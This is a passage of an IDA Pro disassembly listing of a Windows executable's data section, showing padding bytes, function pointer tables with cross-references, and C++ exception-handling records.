		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
		align 4
		dd 3E3h	dup(0)
off_43E000	dd offset sub_4017C6	; DATA XREF: sub_4036D0+3FEo
off_43E004	dd offset dword_4367D0	; DATA XREF: sub_403C70+2o
off_43E008	dd offset off_402009	; DATA XREF: sub_406BA0+2o sub_406C00o
off_43E00C	dd offset sub_4021F8	; DATA XREF: ___:00407075o
off_43E010	dd offset loc_402171	; DATA XREF: sub_409AE0+4o
					; sub_409B40+Bo ...
off_43E014	dd offset loc_402027	; DATA XREF: sub_40ADC0+2o
					; sub_40AE10+1Co
		dd offset dword_4367D0
		align 10h
off_43E020	dd offset loc_401ACD	; DATA XREF: ___:0040B118o
					; sub_40B170+1Eo
flt_43E024	dd 1.0			; DATA XREF: ___:0040B7C6r
off_43E028	dd offset sub_401A3C	; DATA XREF: sub_40F600+157o
					; sub_40FDA0+1Do
		dd offset sub_40212B
		dd 0
off_43E034	dd offset sub_401AB9	; DATA XREF: sub_40F600+142o
					; sub_40FDA0+23o
off_43E038	dd offset loc_40115E	; DATA XREF: sub_411860+36o
					; sub_411910+1Do
		dd offset loc_401FE6
		dd 0
off_43E044	dd offset sub_4014BF	; DATA XREF: ___:0041318Do
					; sub_413220+1Fo
		dd offset sub_401CF8
		align 10h
off_43E050	dd offset sub_4019BF	; DATA XREF: sub_416C00+6o
					; sub_417DF0+8o
		dd offset sub_4020A9
		dd 0
off_43E05C	dd offset loc_401C99	; DATA XREF: sub_416C60+6o
					; sub_417E20+8o
		dd offset sub_401230
		align 8
off_43E068	dd offset loc_40191A	; DATA XREF: sub_416CC0o sub_41FBD0+8o
		dd offset sub_401CDF
		dd 0
off_43E074	dd offset sub_40111D	; DATA XREF: sub_416D10o
					; sub_4190B0+36o
off_43E078	dd offset loc_4014A1	; DATA XREF: sub_417BC0+68o
off_43E07C	dd offset sub_401064	; DATA XREF: sub_417C60+8Bo
off_43E080	dd offset sub_40138E	; DATA XREF: sub_417D30+74o
off_43E084	dd offset loc_401B6D	; DATA XREF: sub_417E50+7Bo
off_43E088	dd offset loc_40202C	; DATA XREF: sub_417F10+7Bo
off_43E08C	dd offset loc_401F1E	; DATA XREF: sub_417FD0+3Eo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Fh,	40h, 0
off_43E094	dd offset loc_401FD7	; DATA XREF: sub_418080+3Eo
off_43E098	dd offset sub_401E4C	; DATA XREF: sub_418100+3Eo
off_43E09C	dd offset loc_40100A	; DATA XREF: sub_418180+10o
off_43E0A0	dd offset loc_4010B4	; DATA XREF: sub_4181B0+4Bo
off_43E0A4	dd offset sub_401BA4	; DATA XREF: sub_418230+10o
off_43E0A8	dd offset sub_401712	; DATA XREF: sub_418260+10o
off_43E0AC	dd offset sub_401613	; DATA XREF: sub_418290+6Bo
dbl_43E0B0	dq -3.0517578125e-5	; DATA XREF: sub_4198C0+22r
		dd 0
off_43E0BC	dd offset sub_401AF5	; DATA XREF: sub_41A010+Bo
					; sub_41A110+6o
off_43E0C0	dd offset sub_401E74	; DATA XREF: sub_41AFE0+Do sub_41B040o
off_43E0C4	dd offset sub_4013FC	; DATA XREF: ___:0041B3A2o
					; ___:0041B48Do
		dd offset sub_40167C
		align 10h
off_43E0D0	dd offset loc_4019E7	; DATA XREF: sub_41D670+77o
					; sub_41D760+1Do
		dd offset sub_401C80
		dd 0
off_43E0DC	dd offset sub_4011FE	; DATA XREF: sub_426450+32o
		dd offset sub_401A64
		dd offset sub_401A41
		dd 0
off_43E0EC	dd offset loc_4016D1	; DATA XREF: sub_4264C0+6Ao
					; sub_426560+1Do
		dd offset sub_401A64
		dd offset dword_4367D0
		dd 0
off_43E0FC	dd offset loc_401AAF	; DATA XREF: sub_4269A0+32o
		dd offset sub_401A64
		dd offset sub_401366
		dd 0
off_43E10C	dd offset sub_40181B	; DATA XREF: sub_426EB0+32o
		dd offset sub_401A64
		dd offset sub_401E92
		dd 0
off_43E11C	dd offset sub_40222A	; DATA XREF: sub_427590+32o
		dd offset sub_401A64
		dd offset sub_401A05
		dd 0
off_43E12C	dd offset sub_401C2B	; DATA XREF: sub_427DC0+32o
		dd offset sub_4021A8
		dd offset sub_4015AF
		dd 0
off_43E13C	dd offset loc_402068	; DATA XREF: sub_427E30+7Ao
					; sub_427EF0+1Do
		dd offset sub_4021A8
		dd offset dword_4367D0
		dd 0
off_43E14C	dd offset sub_4021B2	; DATA XREF: sub_428160+4Bo
					; sub_428250+10o
		dd offset sub_4021A8
		dd offset sub_401D2A
		dd 0
off_43E15C	dd offset loc_40112C	; DATA XREF: sub_4299C0+32o
					; sub_429A60+9o
		dd offset sub_4021A8
		dd offset sub_40137A
		dd 0
off_43E16C	dd offset loc_401B04	; DATA XREF: sub_429D00+32o
		dd offset sub_4021A8
		dd offset sub_4010AF
		dd 0
off_43E17C	dd offset sub_4017A8	; DATA XREF: sub_42A090+32o
		dd offset sub_4021A8
		dd offset sub_40188E
		dd 0
off_43E18C	dd offset sub_4020D1	; DATA XREF: sub_42B1D0+27o
dword_43E190	dd 0				dd 8, 0
off_43E19C	dd offset dword_4367D0	; DATA XREF: sub_42B240+39o
off_43E1A0	dd offset sub_401F41	; DATA XREF: ___:0042B312o
		dd offset sub_4021A8
		dd offset sub_40134D
		align 10h
off_43E1B0	dd offset sub_401B22	; DATA XREF: sub_42B480+32o
		dd offset sub_4021A8
		dd offset sub_40152D
		align 10h
		dd offset loc_4015F0
		dd offset sub_4021A8
		dd offset sub_4019E2
		align 10h
		dd offset dword_43E348
off_43E1D4	dd offset loc_436811	; DATA XREF: ___:00436808o
					; ___:off_4438C0o ...
		dd 0FFFFFFFFh, 436BACh,	436BC0h, 4Dh dup(0)
off_43E318	dd offset off_446CE0	; DATA XREF: ___:0043E330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43E318
		dd 0
		db    0			; DATA XREF: ___:0043E358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43E330h
dword_43E348	dd 3 dup(0)			dd offset off_446CE0
		dd offset unk_43E338
		dd 45h dup(0)
dword_43E470	dd 19930520h, 5, 43E490h, 5 dup(0)		dd 0FFFFFFFFh, 437B2Ch,	0
		dd offset dword_436FD0+0B30h
		dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0)
dword_43E4C0	dd 19930520h, 3Dh, 43E4E0h, 5 dup(0)		dd 0FFFFFFFFh, 437B70h,	0
		dd offset loc_437B7B
		dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh
		dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah
		dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h,	0Dh, 437C2Eh, 0Eh
		dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h,	11h, 437C66h, 12h
		dd 437C74h, 13h, 437C82h, 14h, 437C90h,	15h, 437C9Eh, 16h
		dd 437CACh, 17h, 437CBAh, 18h, 437CC8h,	19h, 437CD6h, 1Ah
		dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h,	1Dh, 437D0Eh, 1Eh
		dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h,	21h, 437D46h, 22h
		dd 437D54h, 23h, 437D62h, 24h, 437D70h,	25h, 437D7Eh, 26h
		dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h,	29h, 437DB6h, 2Ah
		dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h,	2Dh, 437DEEh, 2Eh
		dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h,	31h, 437E26h, 32h
		dd 437E34h, 33h, 437E42h, 34h, 437E50h,	35h, 437E5Eh, 36h
		dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h,	39h, 437E96h, 3Ah
		dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0)
dword_43E700	dd 19930520h, 1, 43E720h, 5 dup(0)		dd 0FFFFFFFFh, 437FA0h,	2 dup(0)
dword_43E730	dd 19930520h, 2, 43E750h, 5 dup(0)		dd 0FFFFFFFFh, 437FC0h,	0
		dd offset loc_437FC8
		dd 2 dup(0)
dword_43E768	dd 19930520h, 2, 43E788h, 5 dup(0)		dd 0FFFFFFFFh, 437FF0h,	0
		dd offset loc_437FF8
		align 10h
dword_43E7A0	dd 19930520h, 1, 43E7C0h, 5 dup(0)		dd 0FFFFFFFFh, 438020h,	2 dup(0)
dword_43E7D0	dd 19930520h, 7, 43E7F0h, 5 dup(0)		dd 0FFFFFFFFh, 438040h,	0
		dd offset loc_438048
		dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh
		dd 2 dup(0)
dword_43E830	dd 19930520h, 7, 43E850h, 5 dup(0)		dd 0FFFFFFFFh, 4380C0h,	0
		dd offset loc_4380C8
		dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh
		dd 2 dup(0)
dword_43E890	dd 19930520h, 11h, 43E8B0h, 5 dup(0)		dd 0FFFFFFFFh, 438140h,	0FFFFFFFFh, 438148h, 0FFFFFFFFh
		dd 438150h, 0FFFFFFFFh,	438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh
		dd 438168h, 0FFFFFFFFh,	438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh
		dd 438180h, 0FFFFFFFFh,	438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh
		dd 438198h, 0FFFFFFFFh,	4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh
		dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h,	4 dup(0)
dword_43E948	dd 19930520h, 0Bh, 43E968h, 5 dup(0)		dd 0FFFFFFFFh, 438200h,	0
		dd offset loc_438208
		dd 0FFFFFFFFh, 438210h,	2, 438218h, 0FFFFFFFFh,	438220h
		dd 0FFFFFFFFh, 438228h,	0FFFFFFFFh, 438230h, 0FFFFFFFFh
		dd 438238h, 7, 438243h,	7, 43824Bh, 9, 438253h,	4 dup(0)
dword_43E9D0	dd 19930520h, 31h, 43E9F0h, 5 dup(0)		dd 0FFFFFFFFh, 438280h,	0
		dd offset loc_43828B
		dd 0
		dd offset loc_438296
		dd 0FFFFFFFFh, 4382A1h,	0FFFFFFFFh, 4382ACh, 4,	4382B7h
		dd 0FFFFFFFFh, 4382C2h,	6, 4382CDh, 6, 4382D8h,	8, 4382E3h
		dd 0FFFFFFFFh, 4382EEh,	0Ah, 4382F9h, 0Ah, 438304h, 0Ah
		dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h,	0Ah, 438330h, 0FFFFFFFFh
		dd 43833Bh, 11h, 438346h, 11h, 438351h,	0FFFFFFFFh, 43835Ch
		dd 0FFFFFFFFh, 438367h,	15h, 438372h, 0FFFFFFFFh, 43837Dh
		dd 0FFFFFFFFh, 438388h,	18h, 438393h, 0FFFFFFFFh, 43839Eh
		dd 0FFFFFFFFh, 4383A9h,	0FFFFFFFFh, 4383B4h, 0FFFFFFFFh
		dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h,	1Dh, 4383E0h, 1Dh
		dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h,	22h, 43840Ch, 22h
		dd 438417h, 22h, 438422h, 22h, 43842Dh,	22h, 438438h, 22h
		dd 438443h, 22h, 43844Eh, 22h, 438459h,	22h, 438464h, 22h
		dd 43846Fh, 22h, 43847Ah, 22h, 438485h,	22h, 438490h, 0Ch dup(0)
dword_43EBA8	dd 19930520h, 2, 43EBC8h, 5 dup(0)		dd 0FFFFFFFFh, 438538h,	0
		dd offset loc_438530
		align 10h
dword_43EBE0	dd 19930520h, 2, 43EC00h, 5 dup(0)dword_43EC00	dd 0FFFFFFFFh, 43857Bh,	0		dd offset loc_438570
		dd 2 dup(0)
dword_43EC18	dd 19930520h, 3, 43EC38h, 5 dup(0)		dd 0FFFFFFFFh, 4385B0h,	0
		dd offset loc_4385BB
		dd 0
		dd offset loc_4385C6
		dd 2 dup(0)
dword_43EC58	dd 19930520h, 1, 43EC78h, 5 dup(0)		dd 0FFFFFFFFh, 4385F0h,	2 dup(0)
dword_43EC88	dd 19930520h, 1, 43ECA8h, 5 dup(0)		dd 0FFFFFFFFh, 438610h,	2 dup(0)
dword_43ECB8	dd 19930520h, 2, 43ECD8h, 5 dup(0)		dd 0FFFFFFFFh, 438630h,	0
		dd offset loc_438638
		align 10h
dword_43ECF0	dd 19930520h, 56h, 43ED10h, 5 dup(0)		dd 0FFFFFFFFh, 438650h,	0
		dd offset loc_43865B
		dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h
		dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah
		dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h,	0Dh, 4386DEh, 0Eh
		dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh,	11h, 43870Ah, 12h
		dd 438715h, 13h, 438720h, 14h, 43872Bh,	15h, 438736h, 16h
		dd 438741h, 17h, 43874Ch, 18h, 438757h,	19h, 438762h, 1Ah
		dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h,	1Dh, 43878Eh, 1Eh
		dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh,	1Eh, 4387BAh, 1Eh
		dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh,	1Eh, 4387E6h, 1Eh
		dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh,	1Eh, 438807h, 2Ah
		dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh,	2Dh, 438828h, 1Eh
		dd 438828h, 1Eh, 438833h, 30h, 43883Eh,	1Eh, 43883Eh, 1Eh
		dd 438849h, 33h, 438854h, 1Eh, 438854h,	1Eh, 43885Fh, 36h
		dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h,	39h, 438880h, 1Eh
		dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h,	1Eh, 438896h, 1Eh
		dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh,	1Eh, 4388B7h, 42h
		dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh,	45h, 4388D8h, 1Eh
		dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh,	1Eh, 4388EEh, 1Eh
		dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h,	1Eh, 43890Fh, 4Eh
		dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h,	51h, 438930h, 52h
		dd 43893Bh, 53h, 438946h, 54h, 438951h,	13h dup(0)
		dd offset off_4438C0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	436800h, 2 dup(0)
		dd offset off_4438E0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436C2Ah, 2 dup(0)
		dd offset off_443908
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436C30h, 0
dword_43F068	dd 3, 43F048h, 43F028h,	43F008h, 2 dup(0)dword_43F080	dd 0							; ___:0040A997o
		dd offset dword_436BD4+62h
		dd 0
		dd offset dword_43F068
		dd 2 dup(0)
dword_43F098	dd 19930520h, 1, 43F0B8h, 5 dup(0)		dd 0FFFFFFFFh, 438A30h,	2 dup(0)
dword_43F0C8	dd 19930520h, 1, 43F0E8h, 5 dup(0)		dd 0FFFFFFFFh, 438A50h,	2 dup(0)
dword_43F0F8	dd 19930520h, 3, 43F118h, 5 dup(0)		dd 0FFFFFFFFh, 438A70h,	0
		dd offset loc_438A87
		dd 1, 438A8Fh, 2 dup(0)
dword_43F138	dd 19930520h, 1, 43F158h, 5 dup(0)		dd 0FFFFFFFFh, 438AB0h,	2 dup(0)
dword_43F168	dd 19930520h, 2, 43F188h, 1, 43F198h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F1B0h, 4	dup(0)
		dd offset sub_40AE52
		dd 2 dup(0)
dword_43F1C8	dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F210h, 4	dup(0)
		dd offset sub_40AFD1
		dd 2 dup(0)
dword_43F228	dd 19930520h, 4, 43F248h, 5 dup(0)		dd 0FFFFFFFFh, 438AF0h,	0
		dd offset loc_438AFB
		dd 1, 438B06h, 2, 438B11h, 2 dup(0)
dword_43F270	dd 19930520h, 4, 43F290h, 5 dup(0)		dd 0FFFFFFFFh, 438B40h,	0
		dd offset loc_438B4B
		dd 1, 438B56h, 2, 438B61h, 2 dup(0)
dword_43F2B8	dd 19930520h, 3, 43F2D8h, 5 dup(0)		dd 0FFFFFFFFh, 438B90h,	0FFFFFFFFh, 438B98h, 0FFFFFFFFh
		dd 438BA0h, 2 dup(0)
dword_43F2F8	dd 19930520h, 3, 43F318h, 5 dup(0)		dd 0FFFFFFFFh, 438BC0h,	0
		dd offset loc_438BC8
		dd 1, 438BD0h, 2 dup(0)
dword_43F338	dd 19930520h, 1, 43F358h, 5 dup(0)		dd 0FFFFFFFFh, 438BF0h,	2 dup(0)
dword_43F368	dd 19930520h, 4, 43F388h, 5 dup(0)		dd 0FFFFFFFFh, 438C10h,	0FFFFFFFFh, 438C18h, 0FFFFFFFFh
		dd 438C20h, 2, 438C28h,	2 dup(0)
dword_43F3B0	dd 19930520h, 1, 43F3D0h, 5 dup(0)		dd 0FFFFFFFFh, 438C50h,	2 dup(0)
dword_43F3E0	dd 19930520h, 4, 43F400h, 5 dup(0)		dd 0FFFFFFFFh, 438C70h,	0
		dd offset loc_438C7B
		dd 0
		dd offset loc_438C86
		dd 2, 438C91h, 2 dup(0)
dword_43F428	dd 19930520h, 1, 43F448h, 5 dup(0)		dd 0FFFFFFFFh, 438CC0h,	2 dup(0)
dword_43F458	dd 19930520h, 5, 43F478h, 5 dup(0)		dd 0FFFFFFFFh, 438CE0h,	0
		dd offset loc_438CEB
		dd 0
		dd offset loc_438CF6
		dd 0
		dd offset loc_438D01
		dd 0
		dd offset loc_438D0C
		dd 2 dup(0)
dword_43F4A8	dd 19930520h, 2, 43F4C8h, 5 dup(0)		dd 0FFFFFFFFh, 438D40h,	0
		dd offset loc_438D4B
		align 10h
dword_43F4E0	dd 19930520h, 2, 43F500h, 5 dup(0)		dd 0FFFFFFFFh, 438D70h,	0
		dd offset loc_438D7B
		dd 2 dup(0)
dword_43F518	dd 19930520h, 4, 43F538h, 5 dup(0)		dd 0FFFFFFFFh, 438DA0h,	0FFFFFFFFh, 438DA8h, 0FFFFFFFFh
		dd 438DB0h, 0FFFFFFFFh,	438DB8h, 2 dup(0)
dword_43F560	dd 19930520h, 8, 43F580h, 5 dup(0)		dd 0FFFFFFFFh, 438DE0h,	0
		dd offset loc_438DEB
		dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h
		dd 1, 438E2Dh, 4 dup(0)
dword_43F5D0	dd 19930520h, 0Dh, 43F5F0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0FFFFFFFFh, 438E6Bh, 1,	438E76h
		dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh
		dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh
		dd 438EE4h, 4 dup(0)
dword_43F668	dd 19930520h, 6, 43F688h, 5 dup(0)		dd 0FFFFFFFFh, 438F20h,	0
		dd offset loc_438F28
		dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0)
dword_43F6C0	dd 19930520h, 6, 43F6E0h, 5 dup(0)		dd 0FFFFFFFFh, 438F70h,	0
		dd offset loc_438F78
		dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0)
dword_43F718	dd 19930520h, 3, 43F738h, 5 dup(0)		dd 0FFFFFFFFh, 438FC0h,	0
		dd offset loc_438FC8
		dd 1, 438FD0h, 2 dup(0)
dword_43F758	dd 19930520h, 1, 43F778h, 5 dup(0)		dd 0FFFFFFFFh, 438FF0h,	2 dup(0)
dword_43F788	dd 19930520h, 7, 43F7A8h, 5 dup(0)		dd 0FFFFFFFFh, 439010h,	0
		dd offset loc_439018
		dd 0FFFFFFFFh, 439020h,	0FFFFFFFFh, 439028h, 3,	439030h
